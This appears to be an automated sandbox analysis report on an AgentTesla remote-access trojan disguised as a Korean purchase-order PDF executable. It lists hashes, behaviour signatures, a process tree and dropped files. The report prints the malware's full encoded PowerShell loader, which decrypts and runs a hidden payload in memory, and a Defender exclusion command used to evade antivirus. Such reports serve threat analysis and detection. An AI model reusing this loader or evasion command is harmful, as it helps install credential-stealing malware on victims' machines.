Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/05/2024, 18:35

General

  • Target

    견적 의뢰 New Po -7HY00589 RFQ-0424-135 05 -24 pdf.exe

  • Size

    1.0MB

  • MD5

    707ff5d813d814fa2989bd8a4664258f

  • SHA1

    393439231f83ecbe9aa6a81e74b460e7b7f217a5

  • SHA256

    75c221ba937ac5b43e8e44d0e5e311bf7ad7105df44a7b09e073a224e9a7c3a3

  • SHA512

    34565d6f74de5f97045afe56aa1d612dc11f02b374a37ae769439984c0a04ecfd748813c081445336d63eaca3eba9a9250d618cdc7b0fa153612faf1187ab3e8

  • SSDEEP

    24576:8RUNoVV7+21VERgf/UWgQwoM4tKFMkzl/5A9:8Wqr7++SWf/UW3wNrFzzla9

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\견적 의뢰 New Po -7HY00589 RFQ-0424-135 05 -24 pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\견적 의뢰 New Po -7HY00589 RFQ-0424-135 05 -24 pdf.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2772
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADcARAAsACAAMAB4ADkANQAsACAAMAB4ADUAQQAsACAAMAB4ADMARAAsACAAMAB4ADIANwAsACAAMAB4ADQARgAsACAAMAB4ADIAMQAsACAAMAB4ADkAQwAsACAAMAB4ADEAQwAsACAAMAB4AEYANQAsACAAMAB4ADcARQAsACAAMAB4AEEAMwAsACAAMAB4AEYANAAsACAAMAB4ADQARgAsACAAMAB4ADYAOAAsACAAMAB4AEYAMQAsACAAMAB4ADkANgAsACAAMAB4ADkAMQAsACAAMAB4AEEARAAsACAAMAB4AEUARgAsACAAMAB4AEMAMgAsACAAMAB4AEMAOAAsACAAMAB4AEUAMwAsACAAMAB4AEEANwAsACAAMAB4ADcAQgAsACAAMAB4ADgAMQAsACAAMAB4AEYAQgAsACAAMAB4ADIAOQAsACAAMAB4AEQAOAAsACAAMAB4AEQANAAsACAAMAB4ADMAMAAsACAAMAB4ADIAMAApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAyADYALAAgADAAeAAzAEEALAAgADAAeAA0AEIALAAgADAAeAA0ADEALAAgADAAeABGADUALAAgADAAeABGADkALAAgADAAeABEADgALAAgADAAeABDADUALAAgADAAeAA5AEUALAAgADAAeAA4ADEALAAgADAAeAA1AEYALAAgADAAeABEAEEALAAgADAAeAA1ADQALAAgADAAeAA2ADgALAAgADAAeABFADQALAAgADAAeABBADEAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
      2⤵
      • UAC bypass
      • Windows security bypass
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4484
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\견적 의뢰 New Po -7HY00589 RFQ-0424-135 05 -24 pdf.exe" -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:692
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3900
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1408 --field-trial-handle=2280,i,4114443225282860369,4764091921472631035,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:2432

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_km00wvga.eja.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\file-3400.putik

            Filesize

            34KB

            MD5

            c1b8f3a7fc5ee0d440c0d8e2007e5951

            SHA1

            2387f4cf70f0006f1b53464cd255076607c626a7

            SHA256

            1a94e878b6ade60c90adb0c4eeaa20ea887fbf58d4bb5ea578e488c1ddaf25cc

            SHA512

            dfb37a6bbd75c7460e1df5de0e2c5b1e928c563344245f78e988174186518255ae7ec32bf77742b313e468687dcea57ef5bcd3ad80347826a42ba837c61acc16

          • memory/692-25-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

            Filesize

            10.8MB

          • memory/692-35-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

            Filesize

            10.8MB

          • memory/692-32-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

            Filesize

            10.8MB

          • memory/692-28-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

            Filesize

            10.8MB

          • memory/692-27-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

            Filesize

            10.8MB

          • memory/3900-42-0x0000000006600000-0x0000000006692000-memory.dmp

            Filesize

            584KB

          • memory/3900-38-0x0000000005B80000-0x0000000006124000-memory.dmp

            Filesize

            5.6MB

          • memory/3900-40-0x0000000005640000-0x00000000056A6000-memory.dmp

            Filesize

            408KB

          • memory/3900-41-0x0000000006510000-0x0000000006560000-memory.dmp

            Filesize

            320KB

          • memory/3900-29-0x0000000000400000-0x0000000000440000-memory.dmp

            Filesize

            256KB

          • memory/3900-43-0x00000000065A0000-0x00000000065AA000-memory.dmp

            Filesize

            40KB

          • memory/4484-15-0x00000278D00C0000-0x00000278D00CC000-memory.dmp

            Filesize

            48KB

          • memory/4484-31-0x00007FFD3FDC3000-0x00007FFD3FDC5000-memory.dmp

            Filesize

            8KB

          • memory/4484-30-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

            Filesize

            10.8MB

          • memory/4484-36-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

            Filesize

            10.8MB

          • memory/4484-37-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

            Filesize

            10.8MB

          • memory/4484-16-0x00000278D0490000-0x00000278D0524000-memory.dmp

            Filesize

            592KB

          • memory/4484-39-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

            Filesize

            10.8MB

          • memory/4484-1-0x00007FFD3FDC3000-0x00007FFD3FDC5000-memory.dmp

            Filesize

            8KB

          • memory/4484-13-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

            Filesize

            10.8MB

          • memory/4484-12-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

            Filesize

            10.8MB

          • memory/4484-2-0x00000278CD510000-0x00000278CD532000-memory.dmp

            Filesize

            136KB